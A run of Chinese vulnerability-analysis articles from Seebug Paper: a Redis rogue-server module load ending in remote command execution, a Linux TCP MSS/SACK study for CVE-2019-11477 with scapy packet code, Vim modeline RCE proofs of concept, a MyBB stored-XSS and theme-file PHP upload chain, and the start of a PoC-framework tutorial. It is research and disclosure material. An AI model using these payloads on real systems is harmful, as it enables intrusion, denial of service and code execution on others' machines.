1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'[->] b'+OK\r\n'[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'[->] b'+OK\r\n'然后我们链接上去就可以执行命令
12345ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3172.17.0.3:6379> system.exec "id""\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"172.17.0.3:6379> system.exec "whoami""\bredis\n"本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/975/
-
Linux 内核 TCP MSS 机制详细分析
作者:Hcamael@知道创宇 404 实验室
时间:2019 年 6 月 26 日
英文版本:https://paper.seebug.org/967/前言
上周Linux内核修复了4个CVE漏洞[1],其中的CVE-2019-11477感觉是一个很厉害的Dos漏洞,不过因为有其他事打断,所以进展的速度比较慢,这期间网上已经有相关的分析文章了。[2][3]
而我在尝试复现CVE-2019-11477漏洞的过程中,在第一步设置MSS的问题上就遇到问题了,无法达到预期效果,但是目前公开的分析文章却没对该部分内容进行详细分析。所以本文将通过Linux内核源码对TCP的MSS机制进行详细分析。
测试环境
1. 存在漏洞的靶机
操作系统版本:Ubuntu 18.04
内核版本:4.15.0-20-generic
地址:192.168.11.112
内核源码:
12$ sudo apt install linux-source-4.15.0$ ls /usr/src/linux-source-4.15.0.tar.bz2带符号的内核:
12345$ cat /etc/apt/sources.list.d/ddebs.listdeb http://ddebs.ubuntu.com/ bionic maindeb http://ddebs.ubuntu.com/ bionic-updates main$ sudo apt install linux-image-4.15.0-20-generic-dbgsym$ ls /usr/lib/debug/boot/vmlinux-4.15.0-20-generic关闭内核地址随机化(KALSR):
12345# 内核是通过grup启动的,所以在grup配置文件中,内核启动参数里加上nokaslr$ cat /etc/default/grub |grep -v "#" | grep CMDLIGRUB_CMDLINE_LINUX_DEFAULT="nokaslr"GRUB_CMDLINE_LINUX=""$ sudo update-grub装一个nginx,供测试:
1$ sudo apt install nginx2. 宿主机
操作系统:MacOS
Wireshark:抓流量
虚拟机:VMware Fusion 11
调试Linux虚拟机:
12$ cat ubuntu_18.04_server_test.vmx|grep debugdebugStub.listen.guest64 = "1"编译gdb:
12345$ ./configure --build=x86_64-apple-darwin --target=x86_64-linux --with-python=/usr/local/bin/python3$ make$ sudo make install$ cat .zshrc|grep gdbalias gdb="~/Documents/gdb_8.3/gdb/gdb"gdb进行远程调试:
123456789$ gdb vmlinux-4.15.0-20-generic$ cat ~/.gdbinitdefine gefsource ~/.gdbinit-gef.pyenddefine kerneltarget remote :8864end3. 攻击机器
自己日常使用的Linux设备就好了
地址:192.168.11.111
日常习惯使用Python的,需要装个scapy构造自定义TCP包
自定义SYN的MSS选项
有三种方法可以设置TCP SYN包的MSS值
1. iptable
1234# 添加规则$ sudo iptables -I OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48# 删除$ sudo iptables -D OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 482. route
1234567# 查看路由信息$ route -ne$ ip route show192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100# 修改路由表$ sudo ip route change 192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100 advmss 48# 修改路由表信息就是在上面show的结果后面加上 advmss 83. 直接发包设置
PS:使用scapy发送自定义TCP包需要ROOT权限
1234from scapy.all import *ip = IP(dst="192.168.11.112")tcp = TCP(dport=80, flags="S",options=[('MSS',48),('SAckOK', '')])flags选项S表示
SYN
,A表示ACK
,SA表示SYN, ACK
scapy中TCP可设置选项表:
123456789101112131415161718192021222324252627TCPOptions = ({0 : ("EOL",None),1 : ("NOP",None),2 : ("MSS","!H"),3 : ("WScale","!B"),4 : ("SAckOK",None),5 : ("SAck","!"),8 : ("Timestamp","!II"),14 : ("AltChkSum","!BH"),15 : ("AltChkSumOpt",None),25 : ("Mood","!p"),254 : ("Experiment","!HHHH")},{"EOL":0,"NOP":1,"MSS":2,"WScale":3,"SAckOK":4,"SAck":5,"Timestamp":8,"AltChkSum":14,"AltChkSumOpt":15,"Mood":25,"Experiment":254})但是这个会有一个问题,在使用Python发送了一个SYN包以后,内核会自动带上一个RST包,查过资料后,发现在新版系统中,对于用户发送的未完成的TCP握手包,内核会发送RST包终止该连接,应该是为了防止进行SYN Floor攻击。解决办法是使用iptable过滤RST包:
1$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.11.111 -j DROP对于MSS的深入研究
关于该漏洞的细节,别的文章中已经分析过了,这里简单的提一下,该漏洞为uint16溢出:
12345tcp_gso_segs 类型为uint16tcp_set_skb_tso_segs<span class="token punctuation">:</span><span class="token function">tcp_skb_pcount_set<span class="token punctuation">(</span></span>skb<span class="token punctuation">,</span> <span class="token function">DIV_ROUND_UP<span class="token punctuation">(</span></span>skb<span class="token operator">-</span>>len<span class="token punctuation">,</span> mss_now<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>skb<span class="token operator">-</span>>len的最大值为<span class="token number">17</span> <span class="token operator">*</span> <span class="token number">32</span> <span class="token operator">*</span> <span class="token number">1024</span>mss_now的最小值为<span class="token number">8</span>1234>>> hex<span class="token punctuation">(</span><span class="token number">17</span><span class="token operator">*</span><span class="token number">32</span><span class="token operator">*</span><span class="token number">1024</span><span class="token operator">/</span><span class="token operator">/</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token string">'0x11000'</span>>>> hex<span class="token punctuation">(</span><span class="token number">17</span><span class="token operator">*</span><span class="token number">32</span><span class="token operator">*</span><span class="token number">1024</span><span class="token operator">/</span><span class="token operator">/</span><span class="token number">9</span><span class="token punctuation">)</span><span class="token string">'0xf1c7'</span>所以在mss_now小于等于8时,才能发生整型溢出。
深入研究的原因是因为进行了如下的测试:
攻击机器通过
iptables/iproute
命令将MSS值为48后,使用curl请求靶机的http服务,然后使用wireshark抓流量,发现服务器返回的http数据包的确被分割成小块,但是只小到36,离预想的8有很大的差距这个时候我选择通过审计源码和调试来深入研究为啥MSS无法达到我的预期值,SYN包中设置的MSS值到代码中的mss_now的过程中发生了啥?
随机进行源码审计,对发生溢出的函数
tcp_set_skb_tso_segs
进行回溯:12tcp_set_skb_tso_segs <- tcp_fragment <- tso_fragment <- tcp_write_xmit最后发现,传入tcp_write_xmit函数的mss_now都是通过tcp_current_mss函数进行计算的随后对
tcp_current_mss
函数进行分析,关键代码如下:12345678910111213# tcp_output.ctcp_current_mss -> tcp_sync_mss:mss_now = tcp_mtu_to_mss(sk, pmtu);tcp_mtu_to_mss:/* Subtract TCP options size, not including SACKs */return __tcp_mtu_to_mss(sk, pmtu) -(tcp_sk(sk)->tcp_header_len - sizeof(struct tcphdr));__tcp_mtu_to_mss:if (mss_now < 48)mss_now = 48;return mss_now;看完这部分源码后,我们对MSS的含义就有一个深刻的理解,首先说一说TCP协议:
TCP协议包括了协议头和数据,协议头包括了固定长度的20字节和40字节的可选参数,也就是说TCP头部的最大长度为60字节,最小长度为20字节。
在
__tcp_mtu_to_mss
函数中的mss_now
为我们SYN包中设置的MSS,从这里我们能看出MSS最小值是48,通过对TCP协议的理解和对代码的理解,可以知道SYN包中MSS的最小值48字节表示的是:TCP头可选参数最大长度40字节 + 数据最小长度8字节。但是在代码中的mss_now表示的是数据的长度,接下来我们再看该值的计算公式。
tcphdr结构:
12345678910111213141516171819202122232425262728293031323334struct tcphdr {__be16 source;__be16 dest;__be32 seq;__be32 ack_seq;#if defined(__LITTLE_ENDIAN_BITFIELD)__u16 res1:4,doff:4,fin:1,syn:1,rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1;#elif defined(__BIG_ENDIAN_BITFIELD)__u16 doff:4,res1:4,cwr:1,ece:1,urg:1,ack:1,psh:1,rst:1,syn:1,fin:1;#else#error "Adjust your <asm/byteorder.h> defines"#endif__be16 window;__sum16 check;__be16 urg_ptr;};该结构体为TCP头固定结构的结构体,大小为20bytes
变量
tcp_sk(sk)->tcp_header_len
表示的是本机发出的TCP包头部的长度。因此我们得到的计算mss_now的公式为:SYN包设置的MSS值 - (本机发出的TCP包头部长度 - TCP头部固定的20字节长度)
所以,如果
tcp_header_len
的值能达到最大值60,那么mss_now就能被设置为8。那么内核代码中,有办法让tcp_header_len
达到最大值长度吗?随后我们回溯该变量:12345678910# tcp_output.ctcp_connect_init:tp->tcp_header_len = sizeof(struct tcphdr);if (sock_net(sk)->ipv4.sysctl_tcp_timestamps)tp->tcp_header_len += TCPOLEN_TSTAMP_ALIGNED;#ifdef CONFIG_TCP_MD5SIGif (tp->af_specific->md5_lookup(sk, sk))tp->tcp_header_len += TCPOLEN_MD5SIG_ALIGNED;#endif所以在Linux 4.15内核中,在用户不干预的情况下,内核是不会发出头部大小为60字节的TCP包。这就导致了MSS无法被设置为最小值8,最终导致该漏洞无法利用。
总结
我们来总结一下整个流程:
- 攻击者构造SYN包,自定义TCP头部可选参数MSS的值为48
- 靶机(受到攻击的机器)接收到SYN请求后,把SYN包中的数据保存在内存中,返回SYN,ACK包。
- 攻击者返回ACK包
三次握手完成
随后根据不同的服务,靶机主动向攻击者发送数据或者接收到攻击者的请求后向攻击者发送数据,这里就假设是一个nginx http服务。
1. 攻击者向靶机发送请求:GET / HTTP/1.1
。2. 靶机接收到请求后,首先计算出tcp_header_len
,默认等于20字节,在内核配置sysctl_tcp_timestamps
开启的情况下,增加12字节,如果编译内核的时候选择了CONFIG_TCP_MD5SIG
,会再增加18字节,也就是说tcp_header_len
的最大长度为50字节。3. 随后需要计算出mss_now = 48 - 50 + 20 = 18这里假设一下该漏洞可能利用成功的场景:有一个TCP服务,自己设定了TCP可选参数,并且设置满了40字节,那么攻击者才有可能通过构造SYN包中的MSS值来对该服务进行Dos攻击。随后我对Linux 2.6.29至今的内核进行审计,mss_now的计算公式都一样,tcp_header_len
长度也只会加上时间戳的12字节和md5值的18字节。----- 2019/07/03 UPDATE -----
经过@riatre大佬的指正,我发现上述我对
tcp_current_mss
函数的分析中漏了一段重要的代码:123456789# tcp_output.ctcp_current_mss -> tcp_sync_mss:mss_now = tcp_mtu_to_mss(sk, pmtu);header_len = tcp_established_options(sk, NULL, &opts, &md5) +sizeof(struct tcphdr);if (header_len != tp->tcp_header_len) {int delta = (int) header_len - tp->tcp_header_len;mss_now -= delta;}在
tcp_established_options
函数的代码中,除了12字节的时间戳,20字节的md5,还有对SACK长度的计算,在长度不超过tcp可选项40字节限制的前提下,公式为:size = 4 + 8 * opts->num_sack_blocks
12345678910eff_sacks = tp->rx_opt.num_sacks + tp->rx_opt.dsack;if (unlikely(eff_sacks)) {const unsigned int remaining = MAX_TCP_OPTION_SPACE - size;opts->num_sack_blocks =min_t(unsigned int, eff_sacks,(remaining - TCPOLEN_SACK_BASE_ALIGNED) /TCPOLEN_SACK_PERBLOCK);size += TCPOLEN_SACK_BASE_ALIGNED +opts->num_sack_blocks * TCPOLEN_SACK_PERBLOCK;}所以凑齐40字节的方法是:12字节的时间戳 + 8 * 3(opts->num_sack_blocks)
变量
opts->num_sack_blocks
表示从对端接受的数据包中丢失的数据包数目所以在这里修改一下总结中后三步的过程:
- 攻击者向靶机发送一段正常的HTTP请求
- 靶机接收到请求后,会发送HTTP响应包,如上面的wireshark截图所示,响应包会按照36字节的长度分割成多分
- 攻击者构造序列号带有缺漏的ACK包(ACK包需要带一些数据)
- 服务器接收到无序的ACK包后,发现产生了丢包的情况,所以在后续发送的数据包中,都会带上SACK选项,告诉客户端,那些数据包丢失,直到TCP链接断开或者接收到响应序列的数据包。
效果如下图所示:
因为算上时间戳,TCP SACK选项里最多只能包含3段序列编号,所以只要发送4次ACK包,就能把MSS设置为8。
部分scapy代码如下:
123456789101112131415data = "GET / HTTP/1.1\nHost: 192.168.11.112\r\n\r\n"ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1)ACK.options = [("NOP",None), ("NOP",None), ('Timestamp', (1, 2))]send(ip/ACK/data)dl = len(data)test = "a"*10ACK.seq += dl + 20ACK.ack = SYNACK.seq+73send(ip/ACK/test)ACK.seq += 30ACK.ack = SYNACK.seq+181send(ip/ACK/test)ACK.seq += 30ACK.ack = SYNACK.seq+253send(ip/ACK/test)因为现在已经能满足mss_now=8的前提,后续将会对该漏洞进行进一步的分析。
参考
- https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md
- https://paper.seebug.org/959/
- https://paper.seebug.org/960/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/966/
-
Vim/Neovim 基于 modeline 的多个任意代码执行漏洞分析(CVE-2002-1377、CVE-2016-1248、CVE-2019-12735)
作者:fenix@知道创宇 404 实验室
日期:2019 年 6 月 11 日
英文版本:https://paper.seebug.org/956/前言
Vim 是从 vi 发展出来的一个文本编辑器。代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用,和 Emacs 并列成为类 Unix 系统用戶最喜欢的文本编辑器。Neovim 是一个基于 vim 源代码的重构项目。
2019 年 06 月 04 日,Vim & neovim 被曝出任意代码执行漏洞。攻击者通过诱使受害者使用 vim 或者 neovim 打开一个精心制作的文件,可以在目标机器上执行任意命令。
该漏洞是由于启用了 modeline 模式导致的,Vim & neovim 历史上也多次曝出和 modeline 相关的漏洞。
原作者已经分析的很清楚了,本文权当总结一下,顺便对历史曝出的多个漏洞做一次完整的分析。(在 vim 环境下,neovim 类似)
modeline 详解
既然都是和 modeline 相关的漏洞,那就有必要知道 modeline 是什么。
vim 一共有 4 种模式:正常模式、插入模式、命令模式、可视模式。
在正常模式中,按下
:
键,就可以进入命令模式。在命令模式中可以执行一些输入并执行一些 vim 或插件提供的指令,就像在 shell 里一样。这些指令包括设置环境、文件操作、调用某个功能、执行命令等等。例如设置不显示行号:如果有很多偏好设置,每次打开文件都手动设置就会显得很繁琐,这时候
.vimrc
就派上用场了,在启动 vim 时,当前用户根目录下的 .vimrc 文件会被自动加载。.vimrc 中的设置会对打开的所有文件生效,不便于对单个文件作个性化设置,modeline 应运而生。
vim 的 modeline 可以让你针对每个文件进行文件级别的设置,这些设置是覆盖当前用户的 .vimrc 中的设置的。vim 默认关闭了 modeline,在 .vimrc 末尾追加
set modeline
即可打开。如果 modeline 打开,vim 在打开文件时会解析文件开头及末尾符合一定格式的设置行。
格式一:
格式二:
为了安全考虑,在 modeline 的设置中只支持 set 命令。
特殊的,foldexpr,formatexpr,includeexpr,indentexpr,statusline,foldtext 等选项的值可以是一个表达式,如果选项是在 modeline 中设置,表达式在沙箱中执行。沙箱实质上就是对表达式所能实现的功能做了限制,如在沙箱中不能执行 shell 命令、不能读写文件、不能修改缓冲区等等,如下:
vim 对于沙箱的实现也很简单。
沙箱检查函数 check_secure():
在 libcall、luaeval 等危险指令的开头进行沙箱检查,如果发现在沙箱中调用,直接 return 掉。
历史曝出的几个 rce 漏洞中,CVE-2002-1377 和 CVE-2019-12735 都是由于存在部分指令没有检查沙箱,导致在 modeline 模式中被滥用从而任意命令执行。下面将一一分析。
CVE-2002-1377
2002 年曝出的 vim 任意代码执行漏洞,影响 6.0、6.1 版本。太过古老,环境难以重现,简单说下原理。PoC 如下:
12<span class="cm">/* vim:set foldmethod=expr: */</span><span class="cm">/* vim:set foldexpr=confirm(libcall("/lib/libc.so.6","system","/bin/ls"),"ms_sux"): */</span>利用 libcall 指令调用 libc 库中的 system 函数实现任意命令执行。
现在添加了沙箱检查,modeline 下已经用不了 libcall 了:
CVE-2016-1248
8.0.0056 之前的 vim 未正确验证 filetype、syntax 、keymap 选项的值,受害者在 modeline 开启下打开特制的文件,则可能导致执行任意代码。
从 github 克隆代码,checkout 到 v8.0.0055 分支,编译安装。.vimrc 的配置如下:
验证 PoC :
12<span class="m">00000000</span>: 2f2f <span class="m">2076</span> 696d 3a20 <span class="m">7365</span> <span class="m">7420</span> <span class="m">6674</span> 3d00 // vim: <span class="nb">set</span> <span class="nv">ft</span><span class="o">=</span>.<span class="m">00000010</span>: <span class="m">2165</span> <span class="m">6368</span> 6f5c <span class="m">2070</span> 776e <span class="m">6564</span> 203a 200a !echo<span class="se">\ </span>pwned : .set verbose=20
开启所有日志,看下调用链:autocommand 即“自动命令”,在发生某些事件时自动执行,类似于钩子函数。
比如我们在命令模式中输入
:set syntax=python
, vim 就会在相应目录中寻找和 python syntax 相关的 vmscript 并加载。如果我们在 modeline 中设置了 filetype 或者 syntax,会执行
au! FileType * exe "set syntax=" . expand("<amatch>")
自动完成上述过程。首先删除所有和 FileType 相关联的自动命令,然后调用 exe (即 execute) 执行set syntax=filetype
。execute 用于执行一个表达式字符串,由于未对 filetype 过滤,造成了命令注入。相关代码在 /usr/local/share/vim/vim80/syntax/syntax.vim:
patch 8.0.0056 增加了对名称的校验。
CVE-2019-12735
最近刚曝出来,影响 Vim < 8.1.1365,Neovim < 0.3.6。和 CVE-2002-1377 原理类似,找到了一个新的绕过沙箱执行命令的点。source 指定的定义如下:
:so! filepath
可以从一个文件加载 vim 命令。构造 PoC,将待执行的命令放在 text 部分,
so! %
加载当前文件。[text]{white}{vi:|vim:|ex:}[white]{options}
补丁对 source 指令添加了沙箱检查。
总结
Windows 记事本都任意代码执行了,Vim 怎么能被比下去 … 漏洞无处不在,谨慎打开任何来历不明文件。
参考链接
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://github.com/vim/vim/commit/d0b5138ba4bccff8a744c99836041ef6322ed39a
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/952/
-
Mybb 18.20 From Stored XSS to RCE 分析
作者:LoRexxar'@知道创宇404实验室
日期:2019年6月12日
英文版本:https://paper.seebug.org/954/2019年6月11日,RIPS团队在团队博客中分享了一篇MyBB <= 1.8.20: From Stored XSS to RCE,文章中主要提到了一个Mybb18.20中存在的存储型xss以及一个后台的文件上传绕过。
其实漏洞本身来说,毕竟是需要通过XSS来触发的,哪怕是储存型XSS可以通过私信等方式隐藏,但漏洞的影响再怎么严重也有限,但漏洞点却意外的精巧,下面就让我们一起来详细聊聊看...
漏洞要求
储存型xss
- 拥有可以发布信息的账号权限
- 服务端开启视频解析
- <=18.20
管理员后台文件创建漏洞
- 拥有后台管理员权限(换言之就是需要有管理员权限的账号触发xss)
- <=18.20
漏洞分析
在原文的描述中,把多个漏洞构建成一个利用链来解释,但从漏洞分析的角度来看,我们没必要这么强行,我们分别聊聊这两个单独的漏洞:储存型xss、后台任意文件创建。
储存型xss
在Mybb乃至大部分的论坛类CMS中,一般无论是文章还是评论又或是的什么东西,都会需要在内容中插入图片、链接、视频等等等,而其中大部分都是选择使用一套所谓的“伪”标签的解析方式。
也就是说用户们通过在内容中加入
[url]
、[img]
等“伪”标签,后台就会在保存文章或者解析文章的时候,把这类“伪”标签转化为相应的<a>
、<img>
,然后输出到文章内容中,而这种方式会以事先规定好的方式解析和处理内容以及标签,也就是所谓的白名单防御,而这种语法被称之为bbcode。这样一来攻击者就很难构造储存型xss了,因为除了这些标签以外,其他的标签都不会被解析(所有的左右尖括号以及双引号都会被转义)。
12345678function htmlspecialchars_uni($message){$message = preg_replace("#&(?!\#[0-9]+;)#si", "&amp;", $message); // Fix & but allow unicode$message = str_replace("<", "&lt;", $message);$message = str_replace(">", "&gt;", $message);$message = str_replace("\"", "&quot;", $message);return $message;}正所谓,有人的地方就会有漏洞。
在这看似很绝对的防御方式下,我们不如重新梳理下Mybb中的处理过程。
在
/inc/class_parse.php
line 435 的parse_mycode
函数中就是主要负责处理这个问题的地方。123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293function parse_mycode($message, $options=array()){global $lang, $mybb;if(empty($this->options)){$this->options = $options;}// Cache the MyCode globally if needed.if($this->mycode_cache == 0){$this->cache_mycode();}// Parse quotes first$message = $this->mycode_parse_quotes($message);// Convert images when allowed.if(!empty($this->options['allow_imgcode'])){$message = preg_replace_callback("#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback1'), $message);$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback2'), $message);$message = preg_replace_callback("#\[img align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback3'), $message);$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*) align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback4'), $message);}else{$message = preg_replace_callback("#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback1'), $message);$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback2'), $message);$message = preg_replace_callback("#\[img align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback3'), $message);$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*) align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback4'), $message);}// Convert videos when allow.if(!empty($this->options['allow_videocode'])){$message = preg_replace_callback("#\[ video=(.*?)\](.*?)\[/video\]#i", array($this, 'mycode_parse_video_callback'), $message);}else{$message = preg_replace_callback("#\[ video=(.*?)\](.*?)\[/video\]#i", array($this, 'mycode_parse_video_disabled_callback'), $message);}$message = str_replace('$', '$', $message);// Replace the restif($this->mycode_cache['standard_count'] > 0){$message = preg_replace($this->mycode_cache['standard']['find'], $this->mycode_cache['standard']['replacement'], $message);}if($this->mycode_cache['callback_count'] > 0){foreach($this->mycode_cache['callback'] as $replace){$message = preg_replace_callback($replace['find'], $replace['replacement'], $message);}}// Replace the nestable mycode'sif($this->mycode_cache['nestable_count'] > 0){foreach($this->mycode_cache['nestable'] as $mycode){while(preg_match($mycode['find'], $message)){$message = preg_replace($mycode['find'], $mycode['replacement'], $message);}}}// Reset list cacheif($mybb->settings['allowlistmycode'] == 1){$this->list_elements = array();$this->list_count = 0;// Find all lists$message = preg_replace_callback("#(\[list(=(a|A|i|I|1))?\]|\[/list\])#si", array($this, 'mycode_prepare_list'), $message);// Replace all listsfor($i = $this->list_count; $i > 0; $i--){// Ignores missing end tags$message = preg_replace_callback("#\s?\[list(=(a|A|i|I|1))?&{$i}\](.*?)(\[/list&{$i}\]|$)(\r\n?|\n?)#si", array($this, 'mycode_parse_list_callback'), $message, 1);}}$message = $this->mycode_auto_url($message);return $message;}当服务端接收到你发送的内容时,首先会处理解析[ img ]相关的标签语法,然后如果开启了$this->options['allow_videocode'](默认开启),那么开始解析[ video ]相关的语法,然后是[list]标签。在488行开始,会对[url]等标签做相应的处理。
1234567if($this->mycode_cache['callback_count'] > 0){foreach($this->mycode_cache['callback'] as $replace){$message = preg_replace_callback($replace['find'], $replace['replacement'], $message);}}我们把上面的流程简单的具象化,假设我们在内容中输入了
1[ video=youtube ]youtube.com/test[ /video ][url]test.com[/url]后台会首先处理[ video ],然后内容就变成了
1<iframe src="youtube.com/test">[url]test.com[/url]然后会处理
[url]
标签,最后内容变成1<iframe src="youtube.com/test"><a href="test.com"></a>乍一看好像没什么问题,每个标签内容都会被拼接到标签相应的属性内,还会被
htmlspecialchars_uni
处理,也没办法逃逸双引号的包裹。但假如我们输入这样的内容呢?
1[ video=youtube ]http://test/test#[url]onload=alert();//[/url]&1=1[/video]首先跟入到函数
/inc/class_parse.php line 1385行 mycode_parse_video
中链接经过
parse_url
处理被分解为12345array (size=4)'scheme' => string 'http' (length=4)'host' => string 'test' (length=4)'path' => string '/test' (length=5)'fragment' => string '[url]onmousemove=alert();//[/url]&amp;1=1' (length=41)然后在1420行,各个参数会被做相应的处理,由于我们必须保留
=
号以及/
号,所以这里我们选择把内容放在fragment中。在1501行case youtube中,被拼接到id上
1234567891011121314case "youtube":if($fragments[0]){$id = str_replace('!v=', '', $fragments[0]); // http://www.youtube.com/watch#!v=fds123}elseif($input['v']){$id = $input['v']; // http://www.youtube.com/watch?v=fds123}else{$id = $path[1]; // http://www.youtu.be/fds123}break;最后id会经过一次htmlspecialchars_uni,然后生成模板。
1234$id = htmlspecialchars_uni($id);eval("\$video_code = \"".$templates->get("video_{$video}_embed", 1, 0)."\";");return $video_code;当然这并不影响到我们上面的内容。
到此为止我们的内容变成了
1<iframe width="560" height="315" src="//www.youtube.com/embed/[url]onload=alert();//[/url]" frameborder="0" allowfullscreen></iframe>紧接着再经过对
[url]
的处理,上面的内容变为1<iframe width="560" height="315" src="//www.youtube.com/embed/<a href="http://onload=alert();//" target="_blank" rel="noopener" class="mycode_url">http://onload=alert();//</a>" frameborder="0" allowfullscreen></iframe>我们再把前面的内容简化看看,链接由
1[ video=youtube ]http://test/test#[url]onload=alert();//[/url]&1=1[/video]变成了
1<iframe src="//www.youtube.com/embed/<a href="http://onload=alert();//"..."></iframe>由于我们插入在
iframe
标签中的href被转变成了<a href="http://onload=alert();//">
, 由于双引号没有转义,所以iframe的href在a标签的href中被闭合,而原本的a标签中的href内容被直接暴露在了标签中,onload就变成了有效的属性!最后浏览器会做简单的解析分割处理,最后生成了相应的标签,当url中的链接加载完毕,标签的动作属性就可以被触发了。
管理员后台文件创建漏洞
在Mybb的管理员后台中,管理员可以自定义论坛的模板和主题,除了普通的导入主题以外,他们允许管理员直接创建新的css文件,当然,服务端限制了管理员的这种行为,它要求管理员只能创建文件结尾为
.css
的文件。123456789101112/admin/inc/functions_themes.php line 264function import_theme_xml($xml, $options=array()){...foreach($theme['stylesheets']['stylesheet'] as $stylesheet){if(substr($stylesheet['attributes']['name'], -4) != ".css"){continue;}...看上去好像并没有什么办法绕过,但值得注意的是,代码中先将文件名先写入了数据库中。
紧接着我们看看数据库结构
我们可以很明显的看到name的类型为varchar且长度只有30位。
如果我们在上传的xml文件中构造name为
tttttttttttttttttttttttttt.php.css
时,name在存入数据库时会被截断,并只保留前30位,也就是tttttttttttttttttttttttttt.php
.12345678910<?xml version="1.0" encoding="UTF-8"?><theme><stylesheets><stylesheet name="tttttttttttttttttttttttttt.php.css">test</stylesheet></stylesheets></theme>紧接着我们需要寻找一个获取name并创建文件的地方。
在/admin/modules/style/themes.php 的1252行,这个变量被从数据库中提取出来。
theme_stylesheet 的name作为字典的键被写入相关的数据。
当
$mybb->input['do'] == "save_orders"
时,当前主题会被修改。在保存了当前主题之后,后台会检查每个文件是否存在,如果不存在,则会获取name并写入相应的内容。
可以看到我们成功的写入了php文件
完成的漏洞复现过程
储存型xss
找到任意一个发送信息的地方,如发表文章、发送私信等....
发送下面这些信息
然后阅读就可以触发
管理员后台文件创建漏洞
找到后台加载theme的地方
构造上传文件test.xml
12345678910<?xml version="1.0" encoding="UTF-8"?><theme><stylesheets><stylesheet name="tttttttttttttttttttttttttt.php.css">test</stylesheet></stylesheets></theme>需要注意要勾选 Ignore Version Compatibility。
然后查看Theme列表,找到新添加的theme
然后保存并访问相应tid地址的文件即可
补丁
储存型xss
这里的iframe标签的链接被encode_url重新处理,一旦被转义,那么
[url]
就不会被继续解析,则不会存在问题。管理员后台文件创建漏洞
在判断文件名后缀之前,加入了字符数的截断,这样一来就无法通过数据库字符截断来构造特殊的name了。
写在最后
整个漏洞其实说到实际利用来说,其实不算太苛刻,基本上来说只要能注册这个论坛的账号就可以构造xss,由于是储存型xss,所以无论是发送私信还是广而告之都有很大的概率被管理员点击,当管理员触发之后,之后的js构造exp就只是代码复杂度的问题了。
抛开实际的利用不谈,这个漏洞的普适性才更加的特殊,bbcode是现在主流的论坛复杂环境的解决方案,事实上,可能会有不少cms会忽略和mybb一样的问题,毕竟人才是最大的安全问题,当人自以为是理解了机器的一切想法时,就会理所当然得忽略那些还没被发掘的问题,安全问题,也就在这种情况下悄然诞生了...
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/949/
-
如何打造自己的PoC框架-Pocsuite3-框架篇
作者:w7ay@知道创宇404实验室
English version: https://paper.seebug.org/914/
相关阅读:如何打造自己的PoC框架-Pocsuite3-使用篇本节笔者将按照Pocsuite框架结构以及工程化实践,来实现一款自己的PoC框架。为了开一个好头,我们先取一个好听的名字,想威武霸气一些可以取上古神器之类的,诸如轩辕夏禹赤霄干将,若怀着对游戏的热爱也可以有山丘之王(Mountain King)剑圣(BladeMaster)月之女神(Priess Of the moon)。由于笔者比较懒,我们就取一个朴素的名字:AirPoc,中文名叫它"空气炮"吧。
名称取好了,我们还要幻想一下大饼。这里请充分发挥想象力,幻想它的功能,你要记住,没有我们实现不了的功能,如果有,打死产品manager即可。
